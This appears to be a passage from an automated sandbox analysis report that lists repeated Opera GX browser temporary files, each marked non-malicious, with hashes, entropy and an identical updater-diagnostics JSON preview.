                                                                                                                                                                                                              Preview:// vfq9HJ2wLqxKl6Oiv7lITbP+B/Fywe2qUvzyM7aXeUs=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","Updater":{"Diagnostics":{"Common":{"ScheduledTaskRunsCount":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\ssdfp4816.1.1813405799~RF3daf52.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):171
                                                                                                                                                                                                              Entropy (8bit):5.6346762933132135
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:851DAFBE1EEF179A7DC88911F23286DE
                                                                                                                                                                                                              SHA1:2C0B613CFD7E93DA7E61BD1AF5CE267F9D57F4FF
                                                                                                                                                                                                              SHA-256:4C5DBB83D34693EF6D549E8D2BF445686C81748F1EECCA156BD8D6C52EADEEA3
                                                                                                                                                                                                              SHA-512:9FBE98DDAC0627483E15AD1138B4D3B7C129050241C3818CE695BCCD4ACAC0E0505FD96B04DA65D6EE229F9A76CBB18A2ECC5A381834B5DA9D2D5B18C54EC062
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// vfq9HJ2wLqxKl6Oiv7lITbP+B/Fywe2qUvzyM7aXeUs=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","Updater":{"Diagnostics":{"Common":{"ScheduledTaskRunsCount":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\ssdfp4816.1.1813405799~RF3db3b7.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):171
                                                                                                                                                                                                              Entropy (8bit):5.6346762933132135
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:851DAFBE1EEF179A7DC88911F23286DE
                                                                                                                                                                                                              SHA1:2C0B613CFD7E93DA7E61BD1AF5CE267F9D57F4FF
                                                                                                                                                                                                              SHA-256:4C5DBB83D34693EF6D549E8D2BF445686C81748F1EECCA156BD8D6C52EADEEA3
                                                                                                                                                                                                              SHA-512:9FBE98DDAC0627483E15AD1138B4D3B7C129050241C3818CE695BCCD4ACAC0E0505FD96B04DA65D6EE229F9A76CBB18A2ECC5A381834B5DA9D2D5B18C54EC062
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// vfq9HJ2wLqxKl6Oiv7lITbP+B/Fywe2qUvzyM7aXeUs=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","Updater":{"Diagnostics":{"Common":{"ScheduledTaskRunsCount":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\ssdfp4816.1.1813405799~RF3db3d6.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):171
                                                                                                                                                                                                              Entropy (8bit):5.6346762933132135
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:851DAFBE1EEF179A7DC88911F23286DE
                                                                                                                                                                                                              SHA1:2C0B613CFD7E93DA7E61BD1AF5CE267F9D57F4FF
                                                                                                                                                                                                              SHA-256:4C5DBB83D34693EF6D549E8D2BF445686C81748F1EECCA156BD8D6C52EADEEA3
                                                                                                                                                                                                              SHA-512:9FBE98DDAC0627483E15AD1138B4D3B7C129050241C3818CE695BCCD4ACAC0E0505FD96B04DA65D6EE229F9A76CBB18A2ECC5A381834B5DA9D2D5B18C54EC062
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// vfq9HJ2wLqxKl6Oiv7lITbP+B/Fywe2qUvzyM7aXeUs=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","Updater":{"Diagnostics":{"Common":{"ScheduledTaskRunsCount":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\ssdfp4816.1.1813405799~RF3df0a0.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):171
                                                                                                                                                                                                              Entropy (8bit):5.6346762933132135
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:851DAFBE1EEF179A7DC88911F23286DE
                                                                                                                                                                                                              SHA1:2C0B613CFD7E93DA7E61BD1AF5CE267F9D57F4FF
                                                                                                                                                                                                              SHA-256:4C5DBB83D34693EF6D549E8D2BF445686C81748F1EECCA156BD8D6C52EADEEA3
                                                                                                                                                                                                              SHA-512:9FBE98DDAC0627483E15AD1138B4D3B7C129050241C3818CE695BCCD4ACAC0E0505FD96B04DA65D6EE229F9A76CBB18A2ECC5A381834B5DA9D2D5B18C54EC062
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// vfq9HJ2wLqxKl6Oiv7lITbP+B/Fywe2qUvzyM7aXeUs=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","Updater":{"Diagnostics":{"Common":{"ScheduledTaskRunsCount":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\ssdfp4816.1.1813405799~RF3df0df.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):171
                                                                                                                                                                                                              Entropy (8bit):5.6346762933132135
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:851DAFBE1EEF179A7DC88911F23286DE
                                                                                                                                                                                                              SHA1:2C0B613CFD7E93DA7E61BD1AF5CE267F9D57F4FF
                                                                                                                                                                                                              SHA-256:4C5DBB83D34693EF6D549E8D2BF445686C81748F1EECCA156BD8D6C52EADEEA3
                                                                                                                                                                                                              SHA-512:9FBE98DDAC0627483E15AD1138B4D3B7C129050241C3818CE695BCCD4ACAC0E0505FD96B04DA65D6EE229F9A76CBB18A2ECC5A381834B5DA9D2D5B18C54EC062
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// vfq9HJ2wLqxKl6Oiv7lITbP+B/Fywe2qUvzyM7aXeUs=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","Updater":{"Diagnostics":{"Common":{"ScheduledTaskRunsCount":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\ssdfp4816.1.1813405799~RF3df16c.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):171
                                                                                                                                                                                                              Entropy (8bit):5.6346762933132135
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:851DAFBE1EEF179A7DC88911F23286DE
                                                                                                                                                                                                              SHA1:2C0B613CFD7E93DA7E61BD1AF5CE267F9D57F4FF
                                                                                                                                                                                                              SHA-256:4C5DBB83D34693EF6D549E8D2BF445686C81748F1EECCA156BD8D6C52EADEEA3
                                                                                                                                                                                                              SHA-512:9FBE98DDAC0627483E15AD1138B4D3B7C129050241C3818CE695BCCD4ACAC0E0505FD96B04DA65D6EE229F9A76CBB18A2ECC5A381834B5DA9D2D5B18C54EC062
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// vfq9HJ2wLqxKl6Oiv7lITbP+B/Fywe2qUvzyM7aXeUs=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","Updater":{"Diagnostics":{"Common":{"ScheduledTaskRunsCount":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\ssdfp4816.1.1813405799~RF3df1ba.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):171
                                                                                                                                                                                                              Entropy (8bit):5.6346762933132135
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:851DAFBE1EEF179A7DC88911F23286DE
                                                                                                                                                                                                              SHA1:2C0B613CFD7E93DA7E61BD1AF5CE267F9D57F4FF
                                                                                                                                                                                                              SHA-256:4C5DBB83D34693EF6D549E8D2BF445686C81748F1EECCA156BD8D6C52EADEEA3
                                                                                                                                                                                                              SHA-512:9FBE98DDAC0627483E15AD1138B4D3B7C129050241C3818CE695BCCD4ACAC0E0505FD96B04DA65D6EE229F9A76CBB18A2ECC5A381834B5DA9D2D5B18C54EC062
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// vfq9HJ2wLqxKl6Oiv7lITbP+B/Fywe2qUvzyM7aXeUs=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","Updater":{"Diagnostics":{"Common":{"ScheduledTaskRunsCount":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\ssdfp4816.1.1813405799~RF3df208.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):171
                                                                                                                                                                                                              Entropy (8bit):5.6346762933132135
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:851DAFBE1EEF179A7DC88911F23286DE
                                                                                                                                                                                                              SHA1:2C0B613CFD7E93DA7E61BD1AF5CE267F9D57F4FF
                                                                                                                                                                                                              SHA-256:4C5DBB83D34693EF6D549E8D2BF445686C81748F1EECCA156BD8D6C52EADEEA3
                                                                                                                                                                                                              SHA-512:9FBE98DDAC0627483E15AD1138B4D3B7C129050241C3818CE695BCCD4ACAC0E0505FD96B04DA65D6EE229F9A76CBB18A2ECC5A381834B5DA9D2D5B18C54EC062
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// vfq9HJ2wLqxKl6Oiv7lITbP+B/Fywe2qUvzyM7aXeUs=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","Updater":{"Diagnostics":{"Common":{"ScheduledTaskRunsCount":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\ssdfp4816.1.1813405799~RF3df237.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):171
                                                                                                                                                                                                              Entropy (8bit):5.6346762933132135
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:851DAFBE1EEF179A7DC88911F23286DE
                                                                                                                                                                                                              SHA1:2C0B613CFD7E93DA7E61BD1AF5CE267F9D57F4FF
                                                                                                                                                                                                              SHA-256:4C5DBB83D34693EF6D549E8D2BF445686C81748F1EECCA156BD8D6C52EADEEA3
                                                                                                                                                                                                              SHA-512:9FBE98DDAC0627483E15AD1138B4D3B7C129050241C3818CE695BCCD4ACAC0E0505FD96B04DA65D6EE229F9A76CBB18A2ECC5A381834B5DA9D2D5B18C54EC062
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// vfq9HJ2wLqxKl6Oiv7lITbP+B/Fywe2qUvzyM7aXeUs=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","Updater":{"Diagnostics":{"Common":{"ScheduledTaskRunsCount":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\ssdfp4816.1.1813405799~RF3df285.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):171
                                                                                                                                                                                                              Entropy (8bit):5.6346762933132135
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:851DAFBE1EEF179A7DC88911F23286DE
                                                                                                                                                                                                              SHA1:2C0B613CFD7E93DA7E61BD1AF5CE267F9D57F4FF
                                                                                                                                                                                                              SHA-256:4C5DBB83D34693EF6D549E8D2BF445686C81748F1EECCA156BD8D6C52EADEEA3
                                                                                                                                                                                                              SHA-512:9FBE98DDAC0627483E15AD1138B4D3B7C129050241C3818CE695BCCD4ACAC0E0505FD96B04DA65D6EE229F9A76CBB18A2ECC5A381834B5DA9D2D5B18C54EC062
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// vfq9HJ2wLqxKl6Oiv7lITbP+B/Fywe2qUvzyM7aXeUs=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","Updater":{"Diagnostics":{"Common":{"ScheduledTaskRunsCount":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\ssdfp4816.1.1813405799~RF3df2e3.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):171
                                                                                                                                                                                                              Entropy (8bit):5.6346762933132135
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:851DAFBE1EEF179A7DC88911F23286DE
                                                                                                                                                                                                              SHA1:2C0B613CFD7E93DA7E61BD1AF5CE267F9D57F4FF
                                                                                                                                                                                                              SHA-256:4C5DBB83D34693EF6D549E8D2BF445686C81748F1EECCA156BD8D6C52EADEEA3
                                                                                                                                                                                                              SHA-512:9FBE98DDAC0627483E15AD1138B4D3B7C129050241C3818CE695BCCD4ACAC0E0505FD96B04DA65D6EE229F9A76CBB18A2ECC5A381834B5DA9D2D5B18C54EC062
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// vfq9HJ2wLqxKl6Oiv7lITbP+B/Fywe2qUvzyM7aXeUs=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","Updater":{"Diagnostics":{"Common":{"ScheduledTaskRunsCount":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\ssdfp4816.1.1813405799~RF3df2f2.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):171
                                                                                                                                                                                                              Entropy (8bit):5.6346762933132135
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:851DAFBE1EEF179A7DC88911F23286DE
                                                                                                                                                                                                              SHA1:2C0B613CFD7E93DA7E61BD1AF5CE267F9D57F4FF
                                                                                                                                                                                                              SHA-256:4C5DBB83D34693EF6D549E8D2BF445686C81748F1EECCA156BD8D6C52EADEEA3
                                                                                                                                                                                                              SHA-512:9FBE98DDAC0627483E15AD1138B4D3B7C129050241C3818CE695BCCD4ACAC0E0505FD96B04DA65D6EE229F9A76CBB18A2ECC5A381834B5DA9D2D5B18C54EC062
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// vfq9HJ2wLqxKl6Oiv7lITbP+B/Fywe2qUvzyM7aXeUs=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","Updater":{"Diagnostics":{"Common":{"ScheduledTaskRunsCount":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\ssdfp4816.1.1813405799~RF3df331.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):171
                                                                                                                                                                                                              Entropy (8bit):5.6346762933132135
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:851DAFBE1EEF179A7DC88911F23286DE
                                                                                                                                                                                                              SHA1:2C0B613CFD7E93DA7E61BD1AF5CE267F9D57F4FF
                                                                                                                                                                                                              SHA-256:4C5DBB83D34693EF6D549E8D2BF445686C81748F1EECCA156BD8D6C52EADEEA3
                                                                                                                                                                                                              SHA-512:9FBE98DDAC0627483E15AD1138B4D3B7C129050241C3818CE695BCCD4ACAC0E0505FD96B04DA65D6EE229F9A76CBB18A2ECC5A381834B5DA9D2D5B18C54EC062
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// vfq9HJ2wLqxKl6Oiv7lITbP+B/Fywe2qUvzyM7aXeUs=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","Updater":{"Diagnostics":{"Common":{"ScheduledTaskRunsCount":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\ssdfp4816.1.1813405799~RF3df360.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):171
                                                                                                                                                                                                              Entropy (8bit):5.6346762933132135
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:851DAFBE1EEF179A7DC88911F23286DE
                                                                                                                                                                                                              SHA1:2C0B613CFD7E93DA7E61BD1AF5CE267F9D57F4FF
                                                                                                                                                                                                              SHA-256:4C5DBB83D34693EF6D549E8D2BF445686C81748F1EECCA156BD8D6C52EADEEA3
                                                                                                                                                                                                              SHA-512:9FBE98DDAC0627483E15AD1138B4D3B7C129050241C3818CE695BCCD4ACAC0E0505FD96B04DA65D6EE229F9A76CBB18A2ECC5A381834B5DA9D2D5B18C54EC062
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// vfq9HJ2wLqxKl6Oiv7lITbP+B/Fywe2qUvzyM7aXeUs=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","Updater":{"Diagnostics":{"Common":{"ScheduledTaskRunsCount":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\ssdfp4816.1.1813405799~RF3df37f.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):171
                                                                                                                                                                                                              Entropy (8bit):5.6346762933132135
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:851DAFBE1EEF179A7DC88911F23286DE
                                                                                                                                                                                                              SHA1:2C0B613CFD7E93DA7E61BD1AF5CE267F9D57F4FF
                                                                                                                                                                                                              SHA-256:4C5DBB83D34693EF6D549E8D2BF445686C81748F1EECCA156BD8D6C52EADEEA3
                                                                                                                                                                                                              SHA-512:9FBE98DDAC0627483E15AD1138B4D3B7C129050241C3818CE695BCCD4ACAC0E0505FD96B04DA65D6EE229F9A76CBB18A2ECC5A381834B5DA9D2D5B18C54EC062
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// vfq9HJ2wLqxKl6Oiv7lITbP+B/Fywe2qUvzyM7aXeUs=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","Updater":{"Diagnostics":{"Common":{"ScheduledTaskRunsCount":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\ssdfp4816.1.1813405799~RF3df39e.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):171
                                                                                                                                                                                                              Entropy (8bit):5.6346762933132135
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:851DAFBE1EEF179A7DC88911F23286DE
                                                                                                                                                                                                              SHA1:2C0B613CFD7E93DA7E61BD1AF5CE267F9D57F4FF
                                                                                                                                                                                                              SHA-256:4C5DBB83D34693EF6D549E8D2BF445686C81748F1EECCA156BD8D6C52EADEEA3
                                                                                                                                                                                                              SHA-512:9FBE98DDAC0627483E15AD1138B4D3B7C129050241C3818CE695BCCD4ACAC0E0505FD96B04DA65D6EE229F9A76CBB18A2ECC5A381834B5DA9D2D5B18C54EC062
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// vfq9HJ2wLqxKl6Oiv7lITbP+B/Fywe2qUvzyM7aXeUs=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","Updater":{"Diagnostics":{"Common":{"ScheduledTaskRunsCount":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\ssdfp4816.1.1813405799~RF3df3ae.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):171
                                                                                                                                                                                                              Entropy (8bit):5.6346762933132135
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:851DAFBE1EEF179A7DC88911F23286DE
                                                                                                                                                                                                              SHA1:2C0B613CFD7E93DA7E61BD1AF5CE267F9D57F4FF
                                                                                                                                                                                                              SHA-256:4C5DBB83D34693EF6D549E8D2BF445686C81748F1EECCA156BD8D6C52EADEEA3
                                                                                                                                                                                                              SHA-512:9FBE98DDAC0627483E15AD1138B4D3B7C129050241C3818CE695BCCD4ACAC0E0505FD96B04DA65D6EE229F9A76CBB18A2ECC5A381834B5DA9D2D5B18C54EC062
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// vfq9HJ2wLqxKl6Oiv7lITbP+B/Fywe2qUvzyM7aXeUs=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","Updater":{"Diagnostics":{"Common":{"ScheduledTaskRunsCount":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\ssdfp4816.1.1813405799~RF3df3dd.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):171
                                                                                                                                                                                                              Entropy (8bit):5.6346762933132135
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:851DAFBE1EEF179A7DC88911F23286DE
                                                                                                                                                                                                              SHA1:2C0B613CFD7E93DA7E61BD1AF5CE267F9D57F4FF
                                                                                                                                                                                                              SHA-256:4C5DBB83D34693EF6D549E8D2BF445686C81748F1EECCA156BD8D6C52EADEEA3
                                                                                                                                                                                                              SHA-512:9FBE98DDAC0627483E15AD1138B4D3B7C129050241C3818CE695BCCD4ACAC0E0505FD96B04DA65D6EE229F9A76CBB18A2ECC5A381834B5DA9D2D5B18C54EC062
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// vfq9HJ2wLqxKl6Oiv7lITbP+B/Fywe2qUvzyM7aXeUs=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","Updater":{"Diagnostics":{"Common":{"ScheduledTaskRunsCount":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\ssdfp4816.1.1813405799~RF3df42b.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):171
                                                                                                                                                                                                              Entropy (8bit):5.6346762933132135
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:851DAFBE1EEF179A7DC88911F23286DE
                                                                                                                                                                                                              SHA1:2C0B613CFD7E93DA7E61BD1AF5CE267F9D57F4FF
                                                                                                                                                                                                              SHA-256:4C5DBB83D34693EF6D549E8D2BF445686C81748F1EECCA156BD8D6C52EADEEA3
                                                                                                                                                                                                              SHA-512:9FBE98DDAC0627483E15AD1138B4D3B7C129050241C3818CE695BCCD4ACAC0E0505FD96B04DA65D6EE229F9A76CBB18A2ECC5A381834B5DA9D2D5B18C54EC062
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// vfq9HJ2wLqxKl6Oiv7lITbP+B/Fywe2qUvzyM7aXeUs=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","Updater":{"Diagnostics":{"Common":{"ScheduledTaskRunsCount":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\ssdfp4816.1.1813405799~RF3df44a.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):171
                                                                                                                                                                                                              Entropy (8bit):5.6346762933132135
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:851DAFBE1EEF179A7DC88911F23286DE
                                                                                                                                                                                                              SHA1:2C0B613CFD7E93DA7E61BD1AF5CE267F9D57F4FF
                                                                                                                                                                                                              SHA-256:4C5DBB83D34693EF6D549E8D2BF445686C81748F1EECCA156BD8D6C52EADEEA3
                                                                                                                                                                                                              SHA-512:9FBE98DDAC0627483E15AD1138B4D3B7C129050241C3818CE695BCCD4ACAC0E0505FD96B04DA65D6EE229F9A76CBB18A2ECC5A381834B5DA9D2D5B18C54EC062
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// vfq9HJ2wLqxKl6Oiv7lITbP+B/Fywe2qUvzyM7aXeUs=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","Updater":{"Diagnostics":{"Common":{"ScheduledTaskRunsCount":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\ssdfp4816.1.1813405799~RF3df469.TMP (copy)

                                                                                                                                                                                                              Download File
